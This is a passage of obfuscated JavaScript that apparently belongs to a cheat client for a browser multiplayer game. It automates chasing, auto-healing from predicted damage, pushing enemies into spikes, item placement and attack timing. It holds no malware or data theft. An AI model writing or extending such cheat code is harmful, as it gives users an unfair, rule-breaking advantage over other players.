if (!_0x1933cc.inTrap && (_0x3d0fac.chaseNear ? _0x462a20.length : true)) {
if (_0x4e7604.dist2 <= _0x4b879d.weapons[_0x21c5b5.weapons[0]].range) {
_0x4c5fd1("a", undefined, 1);
} else {
_0x53c533();
easystar.setGrid(_0x543610);
easystar.setAcceptableTiles([0]);
easystar.enableDiagonals();
easystar.findPath(_0x543610[0].length / 2, _0x543610.length / 2,
_0x3d0fac.lastX, _0x3d0fac.lastY, function (_0x40e35c) {
if (_0x40e35c === null) {
_0x3d0fac.array = [];
if (_0x4e7604.dist2 <=
_0x4b879d.weapons[_0x21c5b5.weapons[0]].range) {
_0x4c5fd1("a", undefined, 1);
} else {
_0x4c5fd1("a", _0x4e7604.aim2, 1);
}
} else {
_0x3d0fac.array = _0x40e35c;
if (_0x3d0fac.array.length > 1) {
let _0x518662 = {
x: _0x21c5b5.x2 - _0x3d0fac.scale / 2 + _0x3d0fac.scale /
_0x3d0fac.grid * _0x40e35c[1].x,
y: _0x21c5b5.y2 - _0x3d0fac.scale / 2 + _0x3d0fac.scale /
_0x3d0fac.grid * _0x40e35c[1].y
};
_0x4c5fd1("a", _0x4cedba.getDirect(_0x518662, _0x21c5b5, 0, 2),
1);
}
}
});
easystar.calculate();
}
}
}
let _0x5d5508 = [];
function _0x26dcec(_0x489f0f = undefined) {
for (let _0x3eddef = 3; _0x3eddef < _0x4b879d.list.length; ++_0x3eddef) {
let _0x31f188 = _0x4b879d.list[_0x3eddef].group.id;
let _0xe07393 = _0x4b879d.weapons.length + _0x3eddef;
if (!_0x5d5508[_0xe07393]) {
_0x5d5508[_0xe07393] = document.createElement("div");
_0x5d5508[_0xe07393].id = "itemCount" + _0xe07393;
getEl("actionBarItem" + _0xe07393).appendChild(_0x5d5508[_0xe07393]);
_0x5d5508[_0xe07393].style = "\n display:
block;\n position: absolute;\n
padding-left: 5px;\n font-size: 2em;\n
color: #fff;\n ";
_0x5d5508[_0xe07393].innerHTML = _0x21c5b5.itemCounts[_0x31f188] || 0;
} else if (_0x489f0f == _0x31f188) {
_0x5d5508[_0xe07393].innerHTML = _0x21c5b5.itemCounts[_0x489f0f] || 0;
}
}
}
function _0x380bca() {
let _0x3fedf4 = _0x57e617.filter(_0x15c988 => _0x15c988.trap &&
_0x15c988.active && _0x15c988.isTeamObject(_0x21c5b5) &&
_0x4cedba.getDist(_0x15c988, _0x4e7604, 0, 2) <= _0x4e7604.scale +
_0x15c988.getScale() + 5).sort(function (_0x54f129, _0x55afd3) {
return _0x4cedba.getDist(_0x54f129, _0x4e7604, 0, 2) -
_0x4cedba.getDist(_0x55afd3, _0x4e7604, 0, 2);
})[0];
if (_0x3fedf4) {
let _0x3c83b4 = _0x57e617.filter(_0x5f2ed8 => _0x5f2ed8.dmg &&
_0x5f2ed8.active && _0x5f2ed8.isTeamObject(_0x21c5b5) &&
_0x4cedba.getDist(_0x5f2ed8, _0x3fedf4, 0, 0) <= _0x4e7604.scale + _0x3fedf4.scale
+ _0x5f2ed8.scale).sort(function (_0x27f97f, _0x8df072) {
return _0x4cedba.getDist(_0x27f97f, _0x4e7604, 0, 2) -
_0x4cedba.getDist(_0x8df072, _0x4e7604, 0, 2);
})[0];
if (_0x3c83b4) {
let _0x25d28e = Math.atan2(_0x4e7604.y2 - _0x3c83b4.y, _0x4e7604.x2 -
_0x3c83b4.x);
_0x8f1613.autoPush = true;
_0x8f1613.pushData = {
x: _0x3c83b4.x + Math.cos(_0x25d28e),
y: _0x3c83b4.y + Math.sin(_0x25d28e),
x2: _0x21c5b5.x2 + 30,
y2: _0x21c5b5.y2 + 30
};
let _0x3605d = {
x: _0x4e7604.x2 + Math.cos(_0x25d28e) * 30,
y: _0x4e7604.y2 + Math.sin(_0x25d28e) * 60
};
let _0x428ecd = Math.atan2(_0x3605d.y - _0x21c5b5.y2, _0x3605d.x -
_0x21c5b5.x2);
_0x4c5fd1("a", _0x428ecd, 1);
} else if (_0x8f1613.autoPush) {
_0x8f1613.autoPush = false;
_0x4c5fd1("a", _0x8842b7 || undefined, 1);
}
} else if (_0x8f1613.autoPush) {
_0x8f1613.autoPush = false;
_0x4c5fd1("a", _0x8842b7 || undefined, 1);
}
}
class _0x59922c {
socket = null;
findIntersect(_0x15e830, _0x1e9c0a, _0xde10dc) {
const _0x26e19f = Math.hypot(_0x1e9c0a.x - _0xde10dc.x, _0x1e9c0a.y -
_0xde10dc.y) / 2;
const _0x2d099e = Math.tan((_0x1e9c0a.y - _0xde10dc.y) / (_0x1e9c0a.x -
_0xde10dc.x));
const _0x4ed744 = Math.cos(_0x2d099e) * _0x26e19f;
const _0x561b61 = Math.sin(_0x2d099e) * _0x26e19f;
const _0xfc05d1 = Math.tan((_0x15e830.y - _0x561b61) / (_0x15e830.x -
_0x4ed744));
return _0xfc05d1;
}
pushEnemy(_0x793215, _0x2cfd86, _0xb63536) {
const _0x1c64f7 = this.findIntersect(_0x2cfd86, _0xb63536, _0x793215);
const _0x25de8a = Math.hypot(_0x793215.x - _0x2cfd86.x, _0x793215.y -
_0x2cfd86.y);
if (_0x25de8a > 180) {
return;
}
this.socket.send("a", _0x1c64f7);
}
constructor(_0x45f207) {
this.socket = _0x45f207;
}
}
function _0xb2f104(_0x3e8bf8) {
_0xf90add.push(new _0x1dfbe1(_0x3e8bf8.x, _0x3e8bf8.y, _0x3e8bf8.dir,
_0x3e8bf8.buildIndex, _0x3e8bf8.weaponIndex, _0x3e8bf8.weaponVariant,
_0x3e8bf8.skinColor, _0x3e8bf8.scale, _0x3e8bf8.name));
}
function _0x270473(_0x1cac22) {
_0x146c8c = _0x1cac22.teams;
}
function _0x30a02e(_0xa6bc85) {
_0x30a35d = {};
_0x217f3c = {};
_0x222e4b = _0xa6bc85;
_0x19c326 = 0;
_0x1f3dc7 = true;
_0x4c5fd1("d", 0, _0x5e0191(), 1);
_0x8f1613.ageInsta = true;
if (_0x451c65) {
_0x451c65 = false;
_0x57e617.length = 0;
}
}
function _0x585e62(_0x437488, _0x27abc0) {
let _0x3595cd = _0x55beb4(_0x437488[0]);
if (!_0x3595cd) {
_0x3595cd = new _0x3e9918(_0x437488[0], _0x437488[1], _0x124d71,
_0x4cedba, _0x2ca08d, _0x31b87c, _0x119a04, _0x18eaf3, _0x4b879d, _0x5db0d5,
_0x55466c);
_0x119a04.push(_0x3595cd);
if (_0x437488[1] != _0x222e4b) {}
} else if (_0x437488[1] != _0x222e4b) {}
_0x3595cd.spawn(_0x27abc0 ? true : null);
_0x3595cd.visible = false;
_0x3595cd.oldPos = {
x2: undefined,
y2: undefined
};
_0x3595cd.x2 = undefined;
_0x3595cd.y2 = undefined;
_0x3595cd.x3 = undefined;
_0x3595cd.y3 = undefined;
_0x3595cd.setData(_0x437488);
if (_0x27abc0) {
if (!_0x21c5b5) {
window.prepareUI(_0x3595cd);
}
_0x21c5b5 = _0x3595cd;
_0x253288 = _0x21c5b5.x;
_0x1c942f = _0x21c5b5.y;
_0x8f1613.lastDir = 0;
_0xe7d15e();
_0x4d6a95();
_0x26dcec();
for (let _0x262b3f = 0; _0x262b3f < 5; _0x262b3f++) {
_0x556da4.push(new _0x24ae6c(_0x21c5b5.x, _0x21c5b5.y));
}
if (_0x21c5b5.skins[7]) {
_0x8f1613.reSync = true;
}
}
}
function _0x1203fb(_0x2f3866) {
for (let _0xe917e4 = 0; _0xe917e4 < _0x119a04.length; _0xe917e4++) {
if (_0x119a04[_0xe917e4].id == _0x2f3866) {
_0x119a04.splice(_0xe917e4, 1);
break;
}
}
}
function _0x4e0dc5() {
let _0x12bfc1 = _0x5b1bfd();
let _0x2a4b30 = function () {
return Math.max(0, _0x12bfc1 - window.pingTime);
};
if (true) {
setTimeout(() => {
for (let _0x101455 = 0; _0x101455 < _0x4b7d4f(); _0x101455++) {
_0x458902(0, _0x5e0191());
}
}, 2);
} else {
setTimeout(() => {
for (let _0x1212bf = 0; _0x1212bf < _0x4b7d4f(); _0x1212bf++) {
_0x458902(0, _0x5e0191());
}
}, 2);
}
}
function _0x5b1bfd() {
let _0x29b099 = 0;
_0x462a20.forEach(_0x37cc74 => {
if (getDist(_0x21c5b5, _0x37cc74) - 63 <=
_0x4b879d.weapons[_0x37cc74.weapons[0]].range) {
_0x29b099 += _0x21c5b5.checkCanInsta(false);
}
});
return _0x29b099;
}
function _0x431071(_0x5812f6, _0x4286f9) {
let _0x256a44 = _0x21c5b5.items[0] == 0 ? 20 : _0x21c5b5.items[0] == 1 ? 40
: 30;
let _0x19751b = _0x5812f6 == "max" ? (100 - _0x21c5b5.health) / _0x256a44 :
_0x5812f6 == (null || undefined) ? 1 : _0x5812f6;
for (let _0x3c9286 = 0; _0x3c9286 < _0x19751b; _0x3c9286++) {
_0x458902(0, _0x5e0191());
}
}
function _0x3fd839(_0x4b1b7d) {
let _0x4ef9ac = _0x21c5b5.health;
let _0x473751;
let _0x392606 = _0xeaea9f(_0x473751);
let _0x57a4f3 = [0.25, 0.45].map(_0x87d732 => _0x87d732 *
_0x4b879d.weapons[_0x21c5b5.weapons[0]].dmg * _0x20110b());
let _0x9fe45 = !_0x8f1613.reSync && _0x57a4f3.includes(_0x473751);
let _0xf231c1 = _0x5b1bfd();
let _0x231865 = false;
let _0x34be0e = function () {
return Math.max(0, _0xf231c1 - window.pingTime);
};
let _0x2f08a2;
let _0x26495b = function () {
clearInterval(_0x2f08a2);
for (let _0x3ff8b2 = 0; _0x3ff8b2 < Math.ceil(Math.min(100 - _0x4ef9ac,
50) / _0x4b879d.list[_0x21c5b5.items[0]].consume); _0x3ff8b2++) {
_0x458902(_0x21c5b5.items[0]);
}
};
if (_0x4b1b7d >= 100000) {
_0x231865 = true;
} else {
_0x231865 = false;
}
setTimeout(() => {
if (_0x1933cc.inTrap) {
_0x4e0dc5();
} else {
setTimeout(() => {
for (let _0x6896c9 = 0; _0x6896c9 < _0x4b7d4f(); _0x6896c9++) {
if (_0x231865 == true && _0x4ef9ac <= 80 &&
_0x4e7604.checkCanInsta(true) >= 100) {
setTimeout(() => {
_0x458902(0, _0x5e0191());
setTimeout(() => {
_0x458902(0, _0x5e0191());
setTimeout(() => {
_0x458902(0, _0x5e0191());
}, _0x4b1b7d * 5);
}, _0x4b1b7d * 4);
}, _0x4b1b7d * 3);
} else {
_0x458902(0, _0x5e0191());
}
_0x4f7997();
}
}, _0x4b1b7d * 2);
}
}, _0x4b1b7d);
}
function _0x559b33(_0x5e5f97) {
switch (_0x5e5f97) {
case 0:
return 1;
break;
case 1:
return 1.1;
break;
case 2:
return 1.18;
break;
case 3:
return 1.18;
break;
default:
return 1;
break;
}
}
function _0x36be68(_0x423837) {
switch (_0x423837) {
case 10:
return 12;
break;
case 15:
return 50;
break;
case 9:
return 25;
break;
case 12:
return 35;
break;
case 13:
return 30;
break;
default:
return 0;
}
}
function _0x49c595(_0x388dc7, _0x19274a) {
let _0x57bdef = _0x19274a - _0x388dc7.health;
if (_0x57bdef >= 0) {} else if (_0x21c5b5 == _0x388dc7) {
if (_0x388dc7.skinIndex == 7 && (Math.abs(_0x57bdef) == 5 ||
_0x388dc7.latestTail == 13 && Math.abs(_0x57bdef) == 2)) {
_0x388dc7.bullTick = _0x450873.tick;
_0x8f1613.reSync &&= false;
}
_0x198b0e();
}
}
function _0x198b0e() {
let _0x231c71 = _0x3b39c4();
if (_0x380db7.length) {
if (Math.round(_0x21c5b5.health - _0x231c71 <= 0)) {
if (_0x21c5b5.health - (_0x231c71 * _0x21c5b5.skinIndex == 6 ? 0.75 :
1) >= 0) {
_0x450873.tickBase(() => {
_0x5ea267();
}, 2);
} else if (_0x21c5b5.shameCount < 5) {
_0x5ea267();
} else {
_0x450873.tickBase(() => {
_0x5ea267();
}, 2);
}
} else {
_0x450873.tickBase(() => {
_0x5ea267();
}, 2);
}
} else {
_0x450873.tickBase(() => {
_0x5ea267();
}, 2);
}
}
function _0x5ea267() {
for (let _0x85775b = 0; _0x85775b < Math.ceil((100 - _0x21c5b5.health) /
_0x4b879d.list[_0x21c5b5.items[0]].healing); _0x85775b++) {
_0x458902(0, _0x5e0191());
}
}
function _0x3b39c4() {
let _0x4b4e0a = 0;
let _0x3a6b00;
let _0x1cd0f3;
let _0x4f759b;
let _0x30b46d;
for (let _0x310227 = 0; _0x310227 < _0x380db7.length; _0x310227++) {
let _0x3af8c5 = _0x380db7[_0x310227];
_0x3a6b00 = _0x4b879d.weapons[_0x3af8c5.weapons[0]].dmg *
_0x559b33(_0x3af8c5.weaponVariant);
_0x1cd0f3 = _0x3af8c5.weapons[1] == 10 ?
_0x4b879d.weapons[_0x3af8c5.weapons[1]].dmg :
_0x4b879d.weapons[_0x3af8c5.weapons[1]].Pdmg;
_0x4f759b = _0x3af8c5.reloads[_0x3af8c5.weapons[0]] == 0;
_0x30b46d = _0x3af8c5.reloads[_0x3af8c5.weapons[1]] == 0;
if (_0x3af8c5.primaryIndex !== undefined) {
_0x4b4e0a += _0x4f759b ? _0x3a6b00 * 1.5 : 0;
} else {
_0x4b4e0a += 45;
}
if (_0x3af8c5.secondaryIndex !== undefined) {
_0x4b4e0a += _0x30b46d ? _0x1cd0f3 : 0;
} else {
_0x4b4e0a += 50;
}
_0x4b4e0a += _0x3af8c5.reloads[53] == 0 ? 25 : 0;
}
}
function _0x3026d7(_0x505390, _0x41b118) {
_0x3fce7e = _0x117918(_0x505390);
if (_0x3fce7e) {
_0x3fce7e.oldHealth = _0x3fce7e.health;
_0x3fce7e.health = _0x41b118;
_0x3fce7e.judgeShame();
if (_0x3fce7e.oldHealth > _0x3fce7e.health) {
_0x3fce7e.timeDamaged = Date.now();
_0x3fce7e.damaged = _0x3fce7e.oldHealth - _0x3fce7e.health;
let _0x2268ab = _0x3fce7e.damaged;
_0x3fce7e = _0x117918(_0x505390);
let _0x48df5d = false;
if (_0x3fce7e.health <= 0) {
if (!_0x3fce7e.death) {
_0x3fce7e.death = true;
if (_0x3fce7e != _0x21c5b5) {
if (_0x3fce7e.skinIndex == 45) {
_0x17c17a("Game", _0x3fce7e.name + "[" + _0x3fce7e.sid + "] has
died due to clown", "red");
} else if (_0x3fce7e.shameCount >= 5) {
_0x17c17a("Game", _0x3fce7e.name + "[" + _0x3fce7e.sid + "] has
died due to high shame", "red");
} else {
_0x17c17a("Game", _0x3fce7e.name + "[" + _0x3fce7e.sid + "] has
died", "red");
}
}
_0xb2f104(_0x3fce7e);
}
}
if (_0x3fce7e == _0x21c5b5) {
if (_0x3fce7e.skinIndex == 7 && (_0x2268ab == 5 ||
_0x3fce7e.latestTail == 13 && _0x2268ab == 2)) {
if (_0x8f1613.reSync) {
_0x8f1613.reSync = false;
_0x3fce7e.setBullTick = true;
}
_0x48df5d = true;
}
if (_0x1f3dc7) {
let _0x2eb697 = _0xeaea9f(_0x2268ab);
let _0x47522d = [0.25, 0.45].map(_0x4a01ca => _0x4a01ca *
_0x4b879d.weapons[_0x21c5b5.weapons[0]].dmg * _0x20110b());
let _0x57bdb8 = !_0x48df5d && _0x47522d.includes(_0x2268ab);
let _0xd0bec4 = 1000 / 9;
let _0x2eb28d = function (_0x3bf6b) {
setTimeout(() => {
_0x4f7997();
}, _0x3bf6b);
};
let _0x2ec441 = 0;
if (_0x2268ab >= 10 && _0x21c5b5.damageThreat >= 100) {
_0x21c5b5.canEmpAnti = true;
_0x21c5b5.antiTimer = _0x450873.tick;
let _0x57ed83 = Math.floor(Math.random() * 2 + 3);
if (_0x3fce7e.shameCount < _0x57ed83) {
_0x4f7997();
} else if (_0x3fce7e.shameCount <= 7) {
_0x2eb28d(_0xd0bec4);
}
} else if (_0x3fce7e.shameCount <= 7) {
_0x2eb28d(_0xd0bec4);
}
}
} else if (!_0x3fce7e.setPoisonTick && (_0x3fce7e.damaged == 5 ||
_0x3fce7e.latestTail == 13 && _0x3fce7e.damaged == 2)) {
_0x3fce7e.setPoisonTick = true;
}
} else {
_0x3fce7e.timeHealed = Date.now();
}
if (_0x3fce7e.health <= 0) {
_0x484803.forEach(_0x4fa372 => {
_0x4fa372.whyDie = _0x3fce7e.name;
});
}
}
}
function _0x254f15() {
_0x556da4 = [];
_0x1f3dc7 = false;
_0x3bc527 = {
x: _0x21c5b5.x,
y: _0x21c5b5.y
};
if (_0x20bd10.autoRespawn) {
getEl("ot-sdk-btn-floating").style.display = "none";
_0x4c5fd1("M", {
name: _0x46873a[0],
moofoll: _0x46873a[1],
skin: _0x46873a[2]
});
}
}
function _0x49fc8e(_0x3b7791, _0x54a36d) {
if (_0x21c5b5) {
_0x21c5b5.itemCounts[_0x3b7791] = _0x54a36d;
_0x26dcec(_0x3b7791);
}
}
let _0x41836d = getEl("ageText");
let _0x1d1ef3 = getEl("ageBarBody");
function _0x4d6a95(_0x25d190, _0x4cff6d, _0x41d08b) {
if (_0x25d190 !== undefined) {
_0x21c5b5.XP = _0x25d190;
}
if (_0x4cff6d !== undefined) {
_0x21c5b5.maxXP = _0x4cff6d;
}
if (_0x41d08b !== undefined) {
_0x21c5b5.age = _0x41d08b;
}
if (_0x41d08b === _0x124d71.maxAge) {
_0x41836d.innerHTML = "MAX AGE";
_0x1d1ef3.style.borderRadius = "30px";
_0x1d1ef3.style.backgroundColor = "purple";
} else {
_0x41836d.innerHTML = "AGE: " + _0x21c5b5.age;
_0x1d1ef3.style.transition = "width 1s, border-radius 1s, background-
color 1s";
_0x1d1ef3.style.borderRadius = "30px";
_0x1d1ef3.style.backgroundColor = "#fff";
}
}
function _0x3392e9(_0x36c514, _0xc4c035) {
_0x21c5b5.upgradePoints = _0x36c514;
_0x21c5b5.upgrAge = _0xc4c035;
if (_0x36c514 > 0) {
_0x2d52f7.length = 0;
_0x4cedba.removeAllChildren(_0x545685);
for (let _0xe8c9f8 = 0; _0xe8c9f8 < _0x4b879d.weapons.length; +
+_0xe8c9f8) {
if (_0x4b879d.weapons[_0xe8c9f8].age == _0xc4c035 && (testMode ||
_0x4b879d.weapons[_0xe8c9f8].pre == undefined ||
_0x21c5b5.weapons.indexOf(_0x4b879d.weapons[_0xe8c9f8].pre) >= 0)) {
let _0x2263d5 = _0x4cedba.generateElement({
id: "upgradeItem" + _0xe8c9f8,
class: "actionBarItem",
onmouseout: function () {
_0xab5116();
},
parent: _0x545685
});
_0x2263d5.style.backgroundImage = getEl("actionBarItem" +
_0xe8c9f8).style.backgroundImage;
_0x2d52f7.push(_0xe8c9f8);
}
}
for (let _0x2a6f00 = 0; _0x2a6f00 < _0x4b879d.list.length; ++_0x2a6f00) {
if (_0x4b879d.list[_0x2a6f00].age == _0xc4c035 && (testMode ||
_0x4b879d.list[_0x2a6f00].pre == undefined ||
_0x21c5b5.items.indexOf(_0x4b879d.list[_0x2a6f00].pre) >= 0)) {
let _0x2a58a4 = _0x4b879d.weapons.length + _0x2a6f00;
let _0xca4e1e = _0x4cedba.generateElement({
id: "upgradeItem" + _0x2a58a4,
class: "actionBarItem",
onmouseout: function () {
_0xab5116();
},
parent: _0x545685
});
_0xca4e1e.style.backgroundImage = getEl("actionBarItem" +
_0x2a58a4).style.backgroundImage;
_0x2d52f7.push(_0x2a58a4);
}
}
for (let _0x59d557 = 0; _0x59d557 < _0x2d52f7.length; _0x59d557++) {
(function (_0x229be8) {
let _0x258127 = getEl("upgradeItem" + _0x229be8);
_0x258127.onmouseover = function () {
if (_0x4b879d.weapons[_0x229be8]) {
_0xab5116(_0x4b879d.weapons[_0x229be8], true);
} else {
_0xab5116(_0x4b879d.list[_0x229be8 - _0x4b879d.weapons.length]);
}
};
_0x258127.onclick = _0x4cedba.checkTrusted(function () {
_0x4c5fd1("H", _0x229be8);
});
_0x4cedba.hookTouchEvents(_0x258127);
})(_0x2d52f7[_0x59d557]);
}
if (_0x2d52f7.length) {
_0x545685.style.display = "block";
_0xce9f9b.style.display = "block";
_0xce9f9b.innerHTML = "SELECT ITEMS (" + _0x36c514 + ")";
} else {
_0x545685.style.display = "none";
_0xce9f9b.style.display = "none";
_0xab5116();
}
} else {
_0x545685.style.display = "none";
_0xce9f9b.style.display = "none";
_0xab5116();
}
}
function _0x37f7e2(_0x20cf3e) {
var _0x2cd862 = _0x20cf3e * Math.PI / 180 % (Math.PI * 2);
if (_0x2cd862 > Math.PI) {
return Math.PI - _0x2cd862;
} else {
return _0x2cd862;
}
}
function _0x49cd4a(_0x58ccd9) {
var _0x302eae = _0x58ccd9 / Math.PI * 360 % 360;
if (_0x302eae >= 360) {
return _0x302eae - 360;
} else {
return _0x302eae;
}
}
function _0x42aa1a(_0x4fdf51) {
let _0x510b9f = _0x45a52d(_0x4fdf51);
_0x31b87c.disableBySid(_0x4fdf51);
if (_0x21c5b5) {
for (let _0x2271ec = 0; _0x2271ec < _0x178343.length; _0x2271ec++) {
if (_0x178343[_0x2271ec].sid == _0x4fdf51) {
_0x178343.splice(_0x2271ec, 1);
break;
}
}
if (!_0x21c5b5.canSee(_0x510b9f)) {
_0x12cb85.push({
x: _0x510b9f.x,
y: _0x510b9f.y
});
}
if (_0x12cb85.length > 8) {
_0x12cb85.shift();
}
_0x1933cc.replacer(_0x510b9f);
}
}
function _0x4ce94b(_0x48a581) {
if (_0x21c5b5) {
_0x31b87c.removeAllItems(_0x48a581);
}
}
let _0x2b034b = {
predictedDamage: 0
};
function _0x3b39c4() {
_0x2b034b.predictedDamage = 0;
for (let _0x32a42b = 0; _0x32a42b < _0x380db7.length; _0x32a42b++) {
let _0x5291ac = _0x380db7[_0x32a42b];
if (_0x5291ac.primaryIndex != undefined) {
if (_0x5291ac.reloads[_0x5291ac.weapons[0]] == 0) {
_0x2b034b.predictedDamage +=
_0x4b879d.weapons[_0x5291ac.weapons[0]].dmg * _0x559b33(_0x5291ac.weaponVariant) *
1.5;
}
} else {
_0x2b034b.predictedDamage += 45;
}
if (_0x5291ac.secondaryIndex != undefined) {
if (_0x5291ac.reloads[_0x5291ac.weapons[1]] == 0) {
if (_0x4b879d.weapons[_0x5291ac.weapons[1]] == 10) {
_0x2b034b.predictedDamage +=
_0x4b879d.weapons[_0x5291ac.weapons[1]].dmg * _0x559b33(_0x5291ac.weaponVariant);
} else {
_0x2b034b.predictedDamage +=
_0x4b879d.weapons[_0x5291ac.weapons[1]].Pdmg;
}
}
} else {
_0x2b034b.predictedDamage += 50;
}
if (_0x5291ac.reloads[53] == 0) {
_0x2b034b.predictedDamage += 25;
}
}
return _0x2b034b.predictedDamage;
}
const _0x4e9156 = (_0x12cd0e, _0x1c5e39, _0xfa0b8f, _0x3370ce) => {
let _0x275390 = _0xfa0b8f - _0x12cd0e;
let _0x5c63be = _0x3370ce - _0x1c5e39;
return Math.sqrt(_0x275390 * _0x275390 + _0x5c63be * _0x5c63be);
};
const _0x2e9042 = (_0x422091, _0x23f44b) => {
const _0x422429 = _0x23f44b.weapons[1] === 10 && !
_0x21c5b5.reloads[_0x23f44b.weapons[1]] ? 1 : 0;
const _0x4dea87 = _0x23f44b.weapons[_0x422429];
if (_0x21c5b5.reloads[_0x4dea87]) {
return 0;
}
const _0xe6cc3b = _0x4b879d.weapons[_0x4dea87];
const _0x38211b = _0x4e9156(_0x422091.x, _0x422091.y, _0x23f44b.x2,
_0x23f44b.y2) <= _0x422091.getScale() + _0xe6cc3b.range;
if (_0x23f44b.visible && _0x38211b) {
return _0xe6cc3b.dmg * (_0xe6cc3b.sDmg || 1) * 3.3;
} else {
return 0;
}
};
const _0xac6fed = (_0x3b552e, _0x3247bd, _0x182424) => {
if (!_0x182424) {
return null;
}
const _0x3e511f = Math.PI * 2;
const _0x5cc4df = Math.PI / 360;
const _0x21b85f = _0x4b879d.list[_0x3b552e.items[_0x3247bd]];
let _0xd66150 = Math.atan2(_0x182424.y - _0x3b552e.y, _0x182424.x -
_0x3b552e.x);
let _0x319e88 = _0x3b552e.scale + (_0x21b85f.scale || 1) +
(_0x21b85f.placeOffset || 0);
for (let _0x4b04ce = 0; _0x4b04ce < _0x3e511f; _0x4b04ce += _0x5cc4df) {
let _0xe8482b = [(_0xd66150 + _0x4b04ce) % _0x3e511f, (_0xd66150 -
_0x4b04ce + _0x3e511f) % _0x3e511f];
for (let _0x5c5a81 of _0xe8482b) {
let _0x4664d5 = _0x3b552e.x + _0x319e88 * Math.cos(_0x5c5a81);
let _0x32d603 = _0x3b552e.y + _0x319e88 * Math.sin(_0x5c5a81);
if (_0x31b87c.customCheckItemLocation(_0x4664d5, _0x32d603,
_0x21b85f.scale, 0.6, _0x21b85f.id, false, _0x3b552e, _0x182424, _0x57e617,
_0x4cedba, _0x124d71)) {
return _0x5c5a81;
}
}
}
return null;
};
const _0x35e945 = () => {
const _0x20a155 = [];
const _0x224d0e = _0x21c5b5.x;
const _0x420891 = _0x21c5b5.y;
const _0x230f8b = _0x57e617.length;
for (let _0x6a4830 = 0; _0x6a4830 < _0x230f8b; _0x6a4830++) {
const _0xae4669 = _0x57e617[_0x6a4830];
if (_0xae4669.isItem && _0xae4669.active && _0xae4669.health > 0) {
let _0x4201f4 = _0x119a04.reduce((_0x3ce6e4, _0x36b740) => _0x3ce6e4 +
_0x2e9042(_0xae4669, _0x36b740), 0);
if (_0xae4669.health <= _0x4201f4) {
_0x20a155.push(_0xae4669);
}
}
}
const _0x655707 = () => {
let _0x141027 = _0x57e617.filter(_0x34cd52 => _0x34cd52.trap &&
_0x34cd52.active && _0x34cd52.isTeamObject(_0x21c5b5) && _0x4e9156(_0x34cd52.x,
_0x34cd52.y, _0x224d0e, _0x420891) <= _0x34cd52.getScale() + 5);
let _0x2568f5 = _0x57e617.find(_0x2bc8c4 => _0x2bc8c4.dmg &&
_0x2bc8c4.active && _0x2bc8c4.isTeamObject(_0x21c5b5) && _0x4e9156(_0x2bc8c4.x,
_0x2bc8c4.y, _0x224d0e, _0x420891) < 87 && !_0x141027.length);
const _0x209c2f = _0x2568f5 ? 4 : 2;
_0x20a155.forEach(_0x3484e5 => {
let _0x362769 = _0xac6fed(_0x21c5b5, _0x209c2f, _0x3484e5);
if (_0x362769 !== null) {
_0x458902(_0x209c2f, _0x362769);
}
});
};
const _0x3ae6f2 = _0x450873.tickSpeed - (window.pingTime || 0) +
(_0x450873.tickSpeed < 110 ? 5 : 0);
if (_0x4e7604 && _0x4e7604.dist2 <= 360) {
setTimeout(_0x655707, _0x3ae6f2);
}
};
function _0x3912de(_0x4bcc97) {
_0x450873.tick++;
_0x462a20 = [];
_0x380db7 = [];
_0x4e7604 = [];
_0x450873.tickSpeed = performance.now() - _0x450873.lastTick;
_0x450873.lastTick = performance.now();
_0x119a04.forEach(_0xf2e854 => {
_0xf2e854.forcePos = !_0xf2e854.visible;
_0xf2e854.visible = false;
});
for (let _0x22fe27 = 0; _0x22fe27 < _0x4bcc97.length;) {
_0x3fce7e = _0x117918(_0x4bcc97[_0x22fe27]);
if (_0x3fce7e) {
_0x3fce7e.t1 = _0x3fce7e.t2 === undefined ? _0x450873.lastTick :
_0x3fce7e.t2;
_0x3fce7e.t2 = _0x450873.lastTick;
_0x3fce7e.oldPos.x2 = _0x3fce7e.x2;
_0x3fce7e.oldPos.y2 = _0x3fce7e.y2;
_0x3fce7e.x1 = _0x3fce7e.x;
_0x3fce7e.y1 = _0x3fce7e.y;
_0x3fce7e.x2 = _0x4bcc97[_0x22fe27 + 1];
_0x3fce7e.y2 = _0x4bcc97[_0x22fe27 + 2];
_0x3fce7e.x3 = _0x3fce7e.x2 + (_0x3fce7e.x2 - _0x3fce7e.oldPos.x2);
_0x3fce7e.y3 = _0x3fce7e.y2 + (_0x3fce7e.y2 - _0x3fce7e.oldPos.y2);
_0x3fce7e.d1 = _0x3fce7e.d2 === undefined ? _0x4bcc97[_0x22fe27 + 3] :
_0x3fce7e.d2;
_0x3fce7e.d2 = _0x4bcc97[_0x22fe27 + 3];
_0x3fce7e.dt = 0;
_0x3fce7e.buildIndex = _0x4bcc97[_0x22fe27 + 4];
_0x3fce7e.weaponIndex = _0x4bcc97[_0x22fe27 + 5];
_0x3fce7e.weaponVariant = _0x4bcc97[_0x22fe27 + 6];
_0x3fce7e.team = _0x4bcc97[_0x22fe27 + 7];
_0x3fce7e.isLeader = _0x4bcc97[_0x22fe27 + 8];
_0x3fce7e.oldSkinIndex = _0x3fce7e.skinIndex;
_0x3fce7e.oldTailIndex = _0x3fce7e.tailIndex;
_0x3fce7e.skinIndex = _0x4bcc97[_0x22fe27 + 9];
_0x3fce7e.tailIndex = _0x4bcc97[_0x22fe27 + 10];
_0x3fce7e.iconIndex = _0x4bcc97[_0x22fe27 + 11];
_0x3fce7e.zIndex = _0x4bcc97[_0x22fe27 + 12];
_0x3fce7e.visible = true;
_0x3fce7e.update(_0x450873.tickSpeed);
_0x3fce7e.dist2 = _0x4cedba.getDist(_0x3fce7e, _0x21c5b5, 2, 2);
_0x3fce7e.aim2 = _0x4cedba.getDirect(_0x3fce7e, _0x21c5b5, 2, 2);
_0x3fce7e.dist3 = _0x4cedba.getDist(_0x3fce7e, _0x21c5b5, 3, 3);
_0x3fce7e.aim3 = _0x4cedba.getDirect(_0x3fce7e, _0x21c5b5, 3, 3);
_0x3fce7e.damageThreat = 0;
if (_0x3fce7e.skinIndex == 45 && _0x3fce7e.shameTimer <= 0) {
_0x3fce7e.addShameTimer();
}
if (_0x3fce7e.oldSkinIndex == 45 && _0x3fce7e.skinIndex != 45) {
_0x3fce7e.shameTimer = 0;
_0x3fce7e.shameCount = 0;
if (_0x3fce7e == _0x21c5b5) {
_0x4f7997();
}
}
let _0x4c6133 = _0x57e617.filter(_0x14b591 => (_0x14b591.name ==
"spikes" || _0x14b591.name == "greater spikes" || _0x14b591.name == "spinning
spikes" || _0x14b591.name == "poison spikes") && _0x14b591.active &&
_0x4cedba.getDist(_0x14b591, _0x3fce7e, 0, 2) <= 135 && !
